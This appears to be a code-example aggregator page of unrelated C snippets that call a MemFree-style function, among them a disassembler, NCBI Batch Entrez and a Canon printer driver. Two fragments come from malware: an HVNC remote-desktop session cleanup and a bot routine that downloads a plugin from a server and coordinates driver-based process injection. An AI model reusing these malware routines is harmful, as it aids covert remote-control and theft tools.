#ifdef _HVNC_WEBCAM
        if (lpServer->DeskInfo.bWebCam)
            CamCleanup(lpServer);
#endif
        VirtualFree(lpServer,0,MEM_DECOMMIT);
    }
    return;
}
Beispiel #12
0
return_val DumpASMDataFromSection( unsigned_8 *contents, dis_sec_offset start,
                                   dis_sec_offset end, label_entry *lab_entry,
                                   ref_entry *reference_entry, section_ptr section )
{
    dis_sec_offset      curr_pos;
    size_t              curr_size;
    size_t              tmp_size;
    size_t              size;
    label_entry         l_entry;
    ref_entry           r_entry;
    char                *buffer;

    l_entry = *lab_entry;
    r_entry = *reference_entry;

    size = end - start;
    if( size < sizeof( unsigned_32 ) )
        size = sizeof( unsigned_32 );
    buffer = MemAlloc( size + 1 );
    if( buffer == NULL ) {
        PrintErrorMsg( RC_OUT_OF_MEMORY, WHERE_PRINT_SECTION );
        return( RC_OUT_OF_MEMORY );
    }

    for( curr_pos = start; curr_pos < end; curr_pos += curr_size ) {

        /* dump labels
         */
        l_entry = dumpAsmLabel( l_entry, section, curr_pos, end, contents, buffer );

        curr_size = end - curr_pos;
        if( l_entry != NULL ) {
            tmp_size = l_entry->offset - curr_pos;
            if( curr_size > tmp_size ) {
                curr_size = tmp_size;
            }
        }

        /* Skip over pair relocs */
        for( ; r_entry != NULL; r_entry = r_entry->next ) {
            if( r_entry->type != ORL_RELOC_TYPE_PAIR && r_entry->offset >= curr_pos ) {
                break;
            }
        }
        if( r_entry != NULL && r_entry->offset < (curr_pos + curr_size) ) {
            if( r_entry->offset == curr_pos ) {
                BufferConcat( "    " );
                curr_size = HandleRefInData( r_entry, contents + curr_pos, true );
                BufferConcatNL();
                BufferPrint();
                continue;
            } else {
                tmp_size = r_entry->offset - curr_pos;
                if( curr_size > tmp_size ) {
                    curr_size = tmp_size;
                }
            }
        }
        memcpy( buffer, contents + curr_pos, curr_size );
        buffer[curr_size] = 0;
        printOut( buffer, curr_pos, curr_size );
    }

    *lab_entry = l_entry;
    *reference_entry = r_entry;
    MemFree( buffer );

    return( RC_OKAY );
}
Beispiel #13
0
/**
 * Get the list of children of a given parent (or list of parents).
 * \param parent_list       [in]  list of parents to get the child of
 * \param parent_count      [in]  number of ids in parent list
 * \param attr_mask         [in]  required attributes for children
 * \param child_id_list     [out] ptr to array of child ids
 * \param child_attr_list   [out] ptr to array of child attrs
 * \param child_count       [out] number of returned children
 */
int ListMgr_GetChild( lmgr_t * p_mgr, const lmgr_filter_t * p_filter,
                      const wagon_t * parent_list, unsigned int parent_count,
                      int attr_mask,
                      wagon_t ** child_id_list, attr_set_t ** child_attr_list,
                      unsigned int * child_count)
{
    result_handle_t result;
    char *curr;
    int  filter_main = 0;
    int  filter_annex = 0;
    int main_attrs = 0;
    int dnames_attrs = 0;
    int annex_attrs = 0;
    char query[4096];
    char fieldlist_main[1024] = "";
    char fieldlist_dnames[1024] = "";
    char fieldlist_annex[1024] = "";
    char filter_str_main[1024] = "";
    char filter_str_annex[1024] = "";
    char tmp[2048];
    char *path = NULL;
    int path_len;
    char * pc;
    int rc, i;

    /* TODO: querying children from several parent cannot work, since
     * we need to get the paths of the children. Or we could do a
     * lookup into parent_list to find the right one. In the meantime,
     * try not to mess up the code. */
    if (parent_count != 1)
        RBH_BUG("cannot get children for several parent simultaneously");

    /* always request for name to build fullpath in wagon */
    attr_mask |= ATTR_MASK_name;

    /* request is always on the MAIN table (which contains [parent_id, id] relationship */

    /* /!\ possible cases:
     * - simplest: the fields of the filter and the attributes to be retrieved are in the MAIN table
     * - harder: the fields of the filter and attributes are in a different table
     */

    /* 1) location of filters */
    if ( p_filter )
    {
        char           dummy_str[1024];
        unsigned int   dummy_uint;
        if (dir_filter(p_mgr, dummy_str, p_filter, &dummy_uint) != FILTERDIR_NONE)
        {
            DisplayLog( LVL_MAJOR, LISTMGR_TAG, "Directory filter not supported in %s()", __func__ );
            return DB_NOT_SUPPORTED;
        }
        else if (func_filter(p_mgr, dummy_str, p_filter, T_MAIN, FALSE, FALSE))
        {
            DisplayLog( LVL_MAJOR, LISTMGR_TAG, "Function filter not supported in %s()", __func__ );
            return DB_NOT_SUPPORTED;
        }

        /* There is always a filter on T_DNAMES, which is the parent condition.
         * Look for optional filters:
         */
        filter_main = filter2str( p_mgr, filter_str_main, p_filter, T_MAIN,
                                  FALSE, TRUE );

        if ( annex_table )
            filter_annex = filter2str( p_mgr, filter_str_annex, p_filter,
                                       T_ANNEX, FALSE, TRUE );
        else
            filter_annex = 0;

        /* @TODO to be implemented */
#if 0
        filter_stripe_info =
            filter2str( p_mgr, filter_str_stripe_info, p_filter, T_STRIPE_INFO,
                        ( filter_main > 0 ) || ( filter_annex > 0 ), TRUE );

        filter_stripe_items =
            filter2str( p_mgr, filter_str_stripe_items, p_filter, T_STRIPE_ITEMS,
                        ( filter_main > 0 ) || ( filter_annex > 0 )
                        || ( filter_stripe_info > 0 ), TRUE );
#endif
    }

    /* 2) location of requested attributes */
    if (attr_mask)
    {
        /* retrieve source info for generated fields */
        add_source_fields_for_gen( &attr_mask );

        main_attrs = attrmask2fieldlist( fieldlist_main, attr_mask, T_MAIN,
                                         /* leading comma */ TRUE, /* for update */ FALSE,
                                         /* prefix */ MAIN_TABLE".", /* postfix */ "" );

        dnames_attrs += attrmask2fieldlist( fieldlist_dnames, attr_mask, T_DNAMES,
                                            /* leading comma */ TRUE, /* for update */ FALSE,
                                            /* prefix */ DNAMES_TABLE".", /* postfix */ "" );

        if ( annex_table )
            annex_attrs = attrmask2fieldlist( fieldlist_annex, attr_mask, T_ANNEX,
                                             /* leading comma */ TRUE, /* for update */ FALSE,
                                             /* prefix */ ANNEX_TABLE".", /* postfix */ "" );
        else
            annex_attrs = 0;
    }
    else
    {
        /* no returned attrs */
        if (child_attr_list)
            *child_attr_list = NULL;
    }
    pc = parent_cond(p_mgr, tmp, sizeof(tmp), parent_list, parent_count, DNAMES_TABLE".");
    if (!pc)
        return DB_BUFFER_TOO_SMALL;

    curr = query;

    /* SELECT clause */
    /* id + dname fields */
    curr += sprintf(curr, "SELECT "DNAMES_TABLE".id%s", fieldlist_dnames);
    /* main attrs */
    if (main_attrs)
        curr += sprintf(curr, "%s", fieldlist_main);
    /* annex attrs */
    if (annex_attrs)
        curr += sprintf(curr, "%s", fieldlist_annex);

    /* FROM clause */
    curr += sprintf(curr, " FROM "DNAMES_TABLE);
    if (main_attrs || filter_main)
        curr += sprintf(curr, " LEFT JOIN "MAIN_TABLE
                              " ON "DNAMES_TABLE".id="MAIN_TABLE".id");
    if (annex_attrs || filter_annex)
        curr += sprintf(curr, " LEFT JOIN "ANNEX_TABLE
                              " ON "DNAMES_TABLE".id="ANNEX_TABLE".id");

    /* WHERE clause */
    curr += sprintf(curr, " WHERE %s", pc);
    if (filter_main)
        curr += sprintf(curr, " AND %s", filter_str_main);
    if (filter_annex)
        curr += sprintf(curr, " AND %s", filter_str_annex);

retry:
    rc = db_exec_sql(&p_mgr->conn, query, &result);
    if (lmgr_delayed_retry(p_mgr, rc))
        goto retry;
    else if (rc)
        return rc;

    /* copy result to output structures */
    *child_count = db_result_nb_records(&p_mgr->conn, &result);

    /* allocate entry_id array */
    *child_id_list = MemCalloc(*child_count, sizeof(wagon_t));
    if (*child_id_list == NULL)
        return DB_NO_MEMORY;

    if (child_attr_list)
    {
        *child_attr_list = MemCalloc(*child_count, sizeof(attr_set_t));
        if (*child_attr_list == NULL)
        {
            rc = DB_NO_MEMORY;
            goto array_free;
        }
    }

    /* Allocate a string long enough to contain the parent path and a
     * child name. */
    path_len = strlen(parent_list[0].fullname) + RBH_NAME_MAX + 2;
    path = malloc(path_len);
    if (!path) {
        DisplayLog( LVL_MAJOR, LISTMGR_TAG, "Can't alloc enough memory (%d bytes)",
                    path_len );
        rc = DB_NO_MEMORY;
        goto array_free;
    }

    for (i = 0; i < *child_count; i++)
    {
        char *res[128]; /* 128 fields per row is large enough */
        rc = db_next_record(&p_mgr->conn, &result, res, 128);
        if ( rc )
            goto array_free;

        /* copy id to array */
        pk2entry_id(p_mgr, res[0], &((*child_id_list)[i].id));

        /* copy attributes to array */
        if (child_attr_list)
        {
            (*child_attr_list)[i].attr_mask = attr_mask;

            /* first id, then dnames attrs, then main attrs, then annex attrs */
            if (dnames_attrs)
            {
                /* shift of 1 for id */
                rc = result2attrset( T_DNAMES, res + 1, dnames_attrs, &((*child_attr_list)[i]) );
                if ( rc )
                    goto array_free;
            }

            if (main_attrs)
            {
                /* first id, then main attrs, then annex attrs */
                /* shift of 1 for id */
                rc = result2attrset( T_MAIN, res + dnames_attrs + 1, main_attrs, &((*child_attr_list)[i]) );
                if ( rc )
                    goto array_free;
            }

            if (annex_attrs)
            {
                /* shift of main_attrs count */
                rc = result2attrset( T_ANNEX, res + dnames_attrs + main_attrs + 1, annex_attrs,
                                     &((*child_attr_list)[i]) );
                if ( rc )
                    goto array_free;
            }

#ifdef _LUSTRE
            if (stripe_fields(attr_mask))
            {
                if (get_stripe_info( p_mgr, res[0], &ATTR(&(*child_attr_list)[i], stripe_info),
                                     &ATTR(&(*child_attr_list)[i], stripe_items) ))
                {
                    ATTR_MASK_UNSET(&(*child_attr_list)[i], stripe_info);
                    ATTR_MASK_UNSET(&(*child_attr_list)[i], stripe_items);
                }
            }
#endif

            generate_fields(&((*child_attr_list)[i]));

            /* Note: path is properly sized already to not overflow. */
            sprintf(path, "%s/%s", parent_list[0].fullname,
                    (*child_attr_list)[i].attr_values.name);
            (*child_id_list)[i].fullname = strdup(path);
        }
    }

    if (path)
        free(path);
    db_result_free( &p_mgr->conn, &result );
    return 0;

array_free:
    if (path)
        free(path);
    if (child_attr_list && *child_attr_list)
    {
        MemFree(*child_attr_list);
        *child_attr_list = NULL;
    }
    MemFree(*child_id_list);
    *child_id_list = NULL;
    return rc;
}
Beispiel #14
0
void
CalCmdFree(CalCmdCommand *cmd)
{
    MemFree(cmd);
}
Beispiel #15
0
BEDataPtr BEMakeWWWParam(WWWInfoPtr info)
{
    BEDataPtr pBdata;
    CharPtr   chptr;
    Char tmp[512];

    pBdata = (BEDataPtr)MemNew(sizeof(BEData));

    /* Database to search */

    if((chptr = WWWGetValueByName(info, "DATABASE")) == NULL) {
        if((chptr = WWWGetValueByName(info, "DB")) == NULL)
            if((chptr = WWWGetValueByName(info, "DATALIB")) == NULL) {
                chptr = "n"; /* Default to nucleotides */
            }
    }
    
    switch(*chptr) {
    case 'n':
        pBdata->database = 0;
        break;
    case 'p':
        pBdata->database = 1;
        break;
    default:
        pBdata->database = 0;
        break;
    }

    if((chptr = WWWGetValueByName(info, "REQUEST_TYPE")) != NULL) {
        if(!StringICmp(chptr, "LIST_OF_GIS"))
            pBdata->request_type = REQ_LIST_OF_GIS;
        else if(!StringICmp(chptr, "ADVANCED_QUERY"))
            pBdata->request_type = REQ_ADVANCED_QUERY;
        else if(!StringICmp(chptr, "ORGANISM"))
            pBdata->request_type = REQ_ORGANISM;
    } else {
        pBdata->request_type = REQ_DEFAULT;
    }

    switch(pBdata->request_type) {
    case REQ_ADVANCED_QUERY:
    case REQ_LIST_OF_GIS:
    case REQ_DEFAULT:
        /* Query string */
        
        if((chptr = WWWGetValueByName(info, "TERM")) == NULL)
            chptr = WWWGetValueByName(info, "QUERY");
        
        if(chptr != NULL && *chptr != NULLB) {
            pBdata->query = StringSave(chptr);
            CleanCRLF(pBdata->query);
        }
        
        /* List of UIDs */
        
        if((chptr = WWWGetValueByName(info, "UID")) != NULL && 
           *chptr != NULLB) {
            pBdata->uids = StringSave(chptr);
        }
        break;
    case REQ_ORGANISM:
        /* Query for organism retrieval */
        
        if(((chptr = WWWGetValueByName(info, "ORGNAME")) != NULL && 
            *chptr != NULLB) || 
           ((chptr = WWWGetValueByName(info, "LIST_ORG")) != NULL && 
            *chptr != NULLB && StringICmp (chptr, "(None)"))) {
            sprintf(tmp, "%s[ORGN]", chptr);
            pBdata->query = StringSave(tmp);
        }
        break;
    }

    /* Checking for data consistency */
    
    if(pBdata->request_type == REQ_LIST_OF_GIS && pBdata->uids == NULL)
        goto fail_return;
    if((pBdata->request_type == REQ_ADVANCED_QUERY || 
        pBdata->request_type == REQ_ORGANISM) && pBdata->query == NULL)
        goto fail_return;
    if(pBdata->query == NULL && pBdata->uids == NULL)
        goto fail_return;
    
    /* Format of output */
    
    if((chptr = WWWGetValueByName(info, "FORMAT")) != NULL ||
       (chptr = WWWGetValueByName(info, "DOPT")) != NULL) {
        pBdata->format = atoi(chptr);
    } else {
        pBdata->format = F_GILIST;
    }
    
    /* HTML output */
    
    if((chptr = WWWGetValueByName(info, "HTML")) != NULL) {
        if(!StringICmp(chptr, "NO") || !StringICmp(chptr, "FALSE") ||
           !StringICmp(chptr, "0"))
            pBdata->html = FALSE;
        else
            pBdata->html = TRUE;
    }

    /* Output type */
    
    if((chptr = WWWGetValueByName(info, "SAVETO")) != NULL) {
        if(!StringICmp(chptr, "NO") || !StringICmp(chptr, "FALSE") ||
           !StringICmp(chptr, "0"))
            pBdata->savetodisk = FALSE;
        else
            pBdata->savetodisk = TRUE;
    }


    if((chptr = WWWGetValueByName(info, "ALLSET")) != NULL) {
        if(!StringICmp(chptr, "NO") || !StringICmp(chptr, "FALSE") ||
           !StringICmp(chptr, "0"))
            pBdata->allset = FALSE;
        else
            pBdata->allset = TRUE;
    }
    
    if((chptr = WWWGetValueByName(info, "MAXDOCS")) != NULL ||
       (chptr = WWWGetValueByName(info, "DISPMAX")) != NULL)
        pBdata->maxdocs = atol(chptr);

    if((chptr = WWWGetValueByName(info, "NOHEADER")) != NULL) {
        if(!StringICmp(chptr, "NO") || !StringICmp(chptr, "FALSE") ||
           !StringICmp(chptr, "0"))
            pBdata->noheader = FALSE;
        else
            pBdata->noheader = TRUE;
    }
    
    return pBdata;

 fail_return:
    MemFree(pBdata);
    return NULL;
}
Beispiel #16
0
int cngplpInitOptions(cngplpData *data)
{
#ifndef _OPAL
	cups_dest_t *all_dests;
	cups_dest_t *curr_dest;
	int num;

	num = cupsGetDests(&all_dests);
	if(num <= 0){
		return -1;
	}
#endif

	if(data->curr_printer == NULL)
		return -1;

#ifndef _OPAL
	curr_dest = cupsGetDest(data->curr_printer, NULL, num, all_dests);
	if(curr_dest == NULL)
		return -1;
#endif

	data->cups_opt = (CupsOptions *)malloc(sizeof(CupsOptions));
	if(data->cups_opt == NULL)
		return -1;

	if(CreateCupsOptions(data) < 0){
		MemFree(data->cups_opt);
		return -1;
	}

#ifndef _OPAL
	SetCupsStoreOption(data, curr_dest);
#endif

	data->ppd_opt = (PPDOptions *)malloc(sizeof(PPDOptions));
	if(data->ppd_opt == NULL){
		DeleteCupsOptions(data->cups_opt);
		return -1;
	}

	if(CreatePPDOptions(data) < 0){
		DeleteCupsOptions(data->cups_opt);
		DeletePPDOptions(data);
		return -1;
	}

#ifndef _OPAL
	if(data->ppdfile){
		SetPPDStoreOption(data, curr_dest);
	}

	if(data->ppd_opt->uivalue != NULL){
		SetPPDStoreUIValue(data, curr_dest);
	}
#else
	if(data->ppdfile){
		SetPPDStoreOption_iOS(data);
	}
#endif

	if(CreateSaveOptions(data) < 0){
		DeleteCupsOptions(data->cups_opt);
		DeletePPDOptions(data);
		return -1;
	}

#ifndef _OPAL
	cupsFreeDests(num, all_dests);
#endif
	return 0;
}
Beispiel #17
0
Int2 Main(void)
{
    WWWInfoPtr info;
    WWWErrorCode error;
    BEDataPtr pBdata;
    Int4 count;
    Uint4 *ids;
    Char tmp[512];

    if((error = WWWReadPosting(&info)) != WWWErrOk) {
        ErrPostEx(SEV_FATAL, 88, 0, "Error in processing WWW request");
        return 1;
    }

    if(WWWGetMethod(info) == COMMAND_LINE) {
        WWWInfoFree(info);
        
        if((pBdata = BEMakeCLParam()) == NULL)
            return 1;
        
    } else {
        
        if(!ErrSetLogfile (QSRV_LOGFILE_STD_NAME, ELOG_APPEND))
            return 1;
        
        if((pBdata = BEMakeWWWParam(info)) == NULL) {
            printf("Content-type: text/html\n\n");
            printf("QSRV_STATUS 802 Invalid input parameters <PRE><BR>\n");
            fflush(stdout);
            
            ErrPostEx(SEV_ERROR, 88, 0, 
                      "Error in reading parameters. "
                      "Please check, that query string was set\n");
            return 1;
        }
    }

    if(!pBdata->commandline) {
        if(pBdata->savetodisk) 
            printf("Content-type: chemical/seq-%s-genbank\n\n", 
                   pBdata->database == 0 ? "na" : "aa");
        else {
            printf("Content-type: text/html\n\n");
            printf("<HTML><HEADER><TITLE>Batch Entrez results"
                   "</TITLE></HEADER><PRE>\n");
        }
    }

    if (! ID1BioseqFetchEnable("Nbatch", TRUE)) {
        printf("Cannot initialize ID1\n");
        return 1;
    }

    if(pBdata->html) {
        init_www(); /* initializing WWW mode */
        head_tail_ff(NULL, BatchHead, BatchTail);
      
    }

    SeqEntryLoad();

    switch(pBdata->request_type) {
    case REQ_DEFAULT:
        if(pBdata->uids == NULL) {
            count = BEGetUidsFromQuery(pBdata->query, &ids, 
                               pBdata->database == 0, /* Nucleotide ? */
                               FALSE);
        } else {
            count = BE_ReadIds(pBdata, &ids);
        }
        break;
    case REQ_ADVANCED_QUERY:
    case REQ_ORGANISM:
        count = BEGetUidsFromQuery(pBdata->query, &ids, 
                                   pBdata->database == 0, /* Nucleotide ? */
                                   FALSE);
        break;
    case REQ_LIST_OF_GIS:
        count = BE_ReadIds(pBdata, &ids);
        break;    
    }
    pBdata->count = count;
    
    QSRVWriteLogInfo(pBdata);
    
    if(count < 0) {
        if(pBdata->commandline)
            ErrPostEx(SEV_ERROR, 0, count, "Error in searching the database");
        else
            printf("QSRV_STATUS %d Error in searching database\n", count);
        return 1;
    }
    
    if(count == 0) {
        if(pBdata->commandline)
            ErrPostEx(SEV_INFO, 0,0, "No entries found");
        else
            printf("QSRV_STATUS 901 OK No entries found\n", count);
        return 1;
    }
    
    if((count > 20000 && pBdata->format == F_GEN) ||
       (count > 100000 && pBdata->format != F_GILIST)) {

        if(pBdata->commandline)
            ErrPostEx(SEV_WARNING, 0,0, "Number of sequences %d exceed limit", 
                      count);
        else
            printf("QSRV_STATUS 803 Error Number of sequences %d "
                   "exceed limit\n", count);
        
        pBdata->format = F_GILIST;
    }

    if(!pBdata->noheader && !pBdata->commandline) 
        printf("QSRV_STATUS 900 OK: %d entr%s found <PRE><BR>\n", 
               count, count == 1? "y" : "ies");

    fflush(stdout);
    
    /* Printing results */
    
    BEPrintIds(pBdata, ids, count);
    
    /* Clearing memory */

    MemFree(ids);
    BEFreeCLParam(pBdata);

    return 0;
}
Beispiel #18
0
void SetPPDStoreOption(cngplpData *data, cups_dest_t *curr_printer)
{
	int i;
	PPDOptions *ppd_opt = data->ppd_opt;
	cups_option_t *opt;
	UIItemsList *items_list;
	int jobmode = 0;
	int cnt = 0;
	char *slot = NULL;
	char *media = NULL;
	int usr_select = 0;
	int inputselect = 0;
#ifndef __APPLE__
  	int tmp_env = 0;
  	char *p_tmp = NULL;
	tmp_env = get_comma_chg_env();
	char *value = NULL;
#endif


	opt = curr_printer->options;
	for(i = 0; i < curr_printer->num_options; i++){
		items_list = ppd_opt->items_list;
#ifndef __APPLE__
      if( is_comma_chg_opt_name(opt->name) == 1 )
      {
        if( tmp_env == 1 && (p_tmp = strchr(opt->value, '.') ) != NULL)
        {
          *p_tmp = ',';
        }
		else if( tmp_env == 2 && (p_tmp = strchr(opt->value, ',') ) != NULL)
        {
          *p_tmp = '.';
        }
      }
#endif
		while(1){
			if(strcmp(opt->name, items_list->name) == 0){
				if(strcmp(items_list->name, "InputSlot") == 0){
					if(ppd_opt->selectby != SELECTBY_NONE){
						slot = strdup(opt->value);
						usr_select = SELECTBY_INPUTSLOT;
					}
				}else if(strcmp(items_list->name, "MediaType") == 0){
					if(ppd_opt->selectby != SELECTBY_NONE){
						media = strdup(opt->value);
						usr_select = SELECTBY_MEDIATYPE;
					}
				}else if(strcmp(items_list->name, "CNJobExecMode") == 0){
					if(strcmp(opt->value, "store") == 0)
						jobmode = 1;
					else if(strcmp(opt->value, "secured") == 0)
						jobmode = 2;
					else if(strcasecmp(opt->value, "Hold") == 0)
						jobmode = 3;
				}

				if(strcmp(items_list->name, "PageSize") == 0){
					if(strstr(opt->value, "Custom") != NULL){
						char *tmp_value = strdup(opt->value);
						SetCustomSize(data, tmp_value);
						items_list->new_option = strdup(tmp_value);
						free(tmp_value);
					}else{
						items_list->new_option = strdup(opt->value);
					}
				}else{
					items_list->new_option = strdup(opt->value);
				}

				if(items_list->current_option != NULL){
					ResetUIConst(data, items_list->name, items_list->current_option->name);
					MarkDisable(data, items_list->name, items_list->current_option->name, -1, 0);
					cnt++;
				}
				UpdateCurrOption(items_list);
			}
			if(items_list->next == NULL)
				break;
			items_list = items_list->next;
		}
		if(strcmp(opt->name, "CNBindEdgeShift") == 0){
			ppd_opt->gutter_value = atoi(opt->value);
			ppd_opt->gutter_value_d = atof(opt->value);
		}else if(strcmp(opt->name, "CNStartingNumber") == 0){
			ppd_opt->startnum_value = atoi(opt->value);
		}else if(strcmp(opt->name, "CNUsrName") == 0){
			strncpy(ppd_opt->special->usr_name, opt->value, 127);
		}else if(strcmp(opt->name, "CNDocName") == 0){
#ifndef __APPLE__
			value = strdup(opt->value);
#else
			if(jobmode == 1)
				strncpy(ppd_opt->special->enter_name, opt->value, 127);
			else if(jobmode == 2)
				strncpy(ppd_opt->special->doc_name, opt->value, 127);
			else if(jobmode == 3)
				strncpy(ppd_opt->special->hold_name, opt->value, 127);
#endif
		}else if(strcmp(opt->name, "CNSecuredPrint") == 0){
			strncpy(ppd_opt->special->passwd_array, opt->value, 7);
		}else if(strcmp(opt->name, "CNMailBox") == 0){
#ifndef __APPLE__
			ppd_opt->special->box_num = atoi(opt->value);
#else
			strncpy(ppd_opt->special->box_num, opt->value,511);
#endif
		}else if(strcmp(opt->name, "CNDisableJobAccountingBW") == 0){
			int job_account_bw;
			job_account_bw = (strcmp(opt->value, "True") == 0) ? 1 : 0;
			ppd_opt->special->disable_job_account_bw = job_account_bw;
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftUpwards) == 0){
			ppd_opt->shift_upwards = atoi(opt->value);
			ppd_opt->detail_shift_upwards = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftRight) == 0){
			ppd_opt->shift_right = atoi(opt->value);
			ppd_opt->detail_shift_right = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftFrLongEdge) == 0){
			ppd_opt->shift_front_long = atoi(opt->value);
			ppd_opt->detail_shift_front_long = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftFrShortEdge) == 0){
			ppd_opt->shift_front_short = atoi(opt->value);
			ppd_opt->detail_shift_front_short = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftBkLongEdge) == 0){
			ppd_opt->shift_back_long = atoi(opt->value);
			ppd_opt->detail_shift_back_long = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNShiftBkShortEdge) == 0){
			ppd_opt->shift_back_short = atoi(opt->value);
			ppd_opt->detail_shift_back_short = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNJobNote) == 0){
			if(ppd_opt->job_note != NULL)
				strncpy(ppd_opt->job_note->note, opt->value, sizeof(ppd_opt->job_note->note));
		}else if(strcmp(opt->name, kPPD_Items_Device_CNJobDetails) == 0){
			if(ppd_opt->job_note != NULL)
				strncpy(ppd_opt->job_note->details, opt->value, sizeof(ppd_opt->job_note->details));
		}else if(strcmp(opt->name, kPPD_Items_Device_CNOffsetNum) == 0){
			ppd_opt->offset_num = atoi(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNInputSelect) == 0){
			if(strcmp(opt->value, kPPD_Items_InputSlot) == 0)
				inputselect = SELECTBY_INPUTSLOT;
			else if(strcmp(opt->value, kPPD_Items_MediaType) == 0)
				inputselect = SELECTBY_MEDIATYPE;
		}else if(strcmp(opt->name, kPPD_Items_CNGutterShiftNum) == 0){
			double max_value;
			char *maxptr;

			ppd_opt->guttershiftnum_value_d = atof(opt->value);

			maxptr = cngplpGetData(data,ID_MAX_GUTTER_SHIFT_NUM);
			if(maxptr != NULL){
				max_value = atof(maxptr);

				if(max_value < ppd_opt->guttershiftnum_value_d){
					ppd_opt->guttershiftnum_value_d = max_value;
				}
				free(maxptr);
			}
		}else if(strcmp(opt->name, kPPD_Items_Device_CNTabShift) == 0){
			ppd_opt->tab_shift = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNInsertTabShift) == 0){
			ppd_opt->ins_tab_shift = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNFormHandle) == 0){
				strncpy(ppd_opt->special->form_handle, opt->value, 127);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNOverlayFileName) == 0){
				strncpy(ppd_opt->special->form_name, opt->value, 127);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNAdjustTrimNum) == 0){
			ppd_opt->adjust_trim_num = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNAdjustForeTrimNum) == 0){
			ppd_opt->adjust_frtrim_num = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNAdjustTopBottomTrimNum) == 0){
			ppd_opt->adjust_tbtrim_num = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNPBindFinishForeTrimNum) == 0){
			ppd_opt->pb_fin_fore_trim_num = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNPBindFinishTopBottomTrimNum) == 0){
			ppd_opt->pb_fin_topbtm_trim_num = atof(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNStackCopiesNum) == 0){
			ppd_opt->stack_copies_num = atoi(opt->value);
		}else if(strcmp(opt->name, kPPD_Items_Device_CNSaddlePressAdjustment) == 0){
			ppd_opt->saddle_press_adjust = atoi(opt->value);
		}
		opt++;
	}

#ifndef __APPLE__
	if((ppd_opt != NULL) && (value != NULL)){
		SetDocName(ppd_opt, jobmode, value);
		MemFree(value);
	}
#endif

	if(cnt != 0){
	  	ResetUIDisable(data);
		AllUpdatePPDData(data);
	}

	if(inputselect == SELECTBY_INPUTSLOT){
		ppd_opt->selectby = inputselect;
		UpdatePPDData(data, "MediaType", NULL);
		UpdatePPDData(data, "InputSlot", slot);
	}else if(inputselect == SELECTBY_MEDIATYPE){
		ppd_opt->selectby = inputselect;
		UpdatePPDData(data, "InputSlot", NULL);
		UpdatePPDData(data, "MediaType", media);
	}else{
		if(usr_select == SELECTBY_INPUTSLOT){
			ppd_opt->selectby = usr_select;
			UpdatePPDData(data, "MediaType", NULL);
			UpdatePPDData(data, "InputSlot", slot);
		}else if(usr_select == SELECTBY_MEDIATYPE){
			ppd_opt->selectby = usr_select;
			UpdatePPDData(data, "InputSlot", NULL);
			UpdatePPDData(data, "MediaType", media);
		}
	}

	if(slot)	free(slot);
	if(media)	free(media);

#ifndef	__APPLE__
	CheckJobAccount(data);
#endif
}
Beispiel #19
0
void FiniFileStack( void )
{
    MemFree( fStack );

} /* FiniFileStack */
Beispiel #20
0
	DWORD WINAPI DownloadMethod(LPVOID Data)
	{
		// Функция загрузки плагина
		PUSER_INIT_NOTIFY InitData = (PUSER_INIT_NOTIFY)Data;
		
		LDRDBG("BRDS", "Отключаем слежение за процессом svchost.exe ");

		DriverRemoveInjectToProcess(InitData, SVChostName);

		for (;;)
		{
				WSADATA wsa;
				ClearStruct(wsa);
				DWORD Code = (DWORD)pWSAStartup(MAKEWORD( 2, 2 ), &wsa);
				
				if (Code == 0) break;

				LDRDBG("BRDS", "pWSAStartup failed.");
				return 0; //pSleep(500);
		}
		
		
		LDRDBG("BRDS", "Запуск загрузки плагина бота (V 10) ");

		DWORD Size = 0;
		LPVOID Module = NULL;


		//Загружаем библиотеку
		LDRDBG("BRDS", "Инициализируем загрузку плагина!");

		// 311_ld начало загрузки файла плага с сервера в svchost
		DebugReportStepByName("311_ld");


		Module = Plugin::DownloadEx(BotPluginName, NULL, &Size, true, true, NULL);

		LDRDBG("BRDS", "DownloadEx result module=0x%u", Module);

		// 312_ld окончание загрузки файла плага с сервера в svchost
		DebugReportStepByName("312_ld");

		if (Module != NULL)
		{
			// Сохраняем данные в кэш
			LDRDBG("BRDS", "Бот успешно загружен ");
			MemFree(Module);

			// передаем прочитанную длл в драйвер	
			// добавляем модуль для инжекта в процесс диспетчера задач

			// Уведомляем експлорер об успешной загрузке длл
			LDRDBG("BRDS", "Уведомляем эксплорер ");

			// 313_ld успешная загрузка файла плага с сервера в svchost
			DebugReportStepByName("313_ld");

			WaitExplorer();


			PCHAR Buf = "Ok: ";
			DriverSendDataToGlobalCallBack(InitData, &Buf, 4);
		}

		ThreadHandle = NULL; // Идентификатор потока нас больше не интересует

		LDRDBG("BRDS", "DownloadMethod finised.");

		return 0;
	}
Beispiel #21
0
//used to clean up the victory image list
PUBLIC void GUTClearVictoryImageList()
{
	if(g_gameVictoryImgList.txtIDs)
		MemFree((void**)&g_gameVictoryImgList.txtIDs);
}
Beispiel #22
0
ALERROR CGImageCache::LoadBitmapImage (DWORD dwImageUNID, DWORD dwTransparencyUNID, DWORD dwDepthUNID, int *retiIndex)

//	LoadBitmapImage
//
//	Loads an image into the cache. This should only be called once
//	when the cache is initialized or when an image is first requested.

	{
	ALERROR error;
	HRESULT result;
	HBITMAP hBitmap;
	DDSURFACEDESC ddsd;
	BITMAP bm;
	LPDIRECTDRAWSURFACE7 pSurface;
	HDC hDC, hBitmapDC;
	HBITMAP hOldBitmap;
	HBITMAP hDepth;
	CGChannelStruct *pTrans = NULL;

	//	Load the bitmap from the image db

	if (error = m_pMediaDb->LoadBitmap(dwImageUNID, &hBitmap))
		return error;

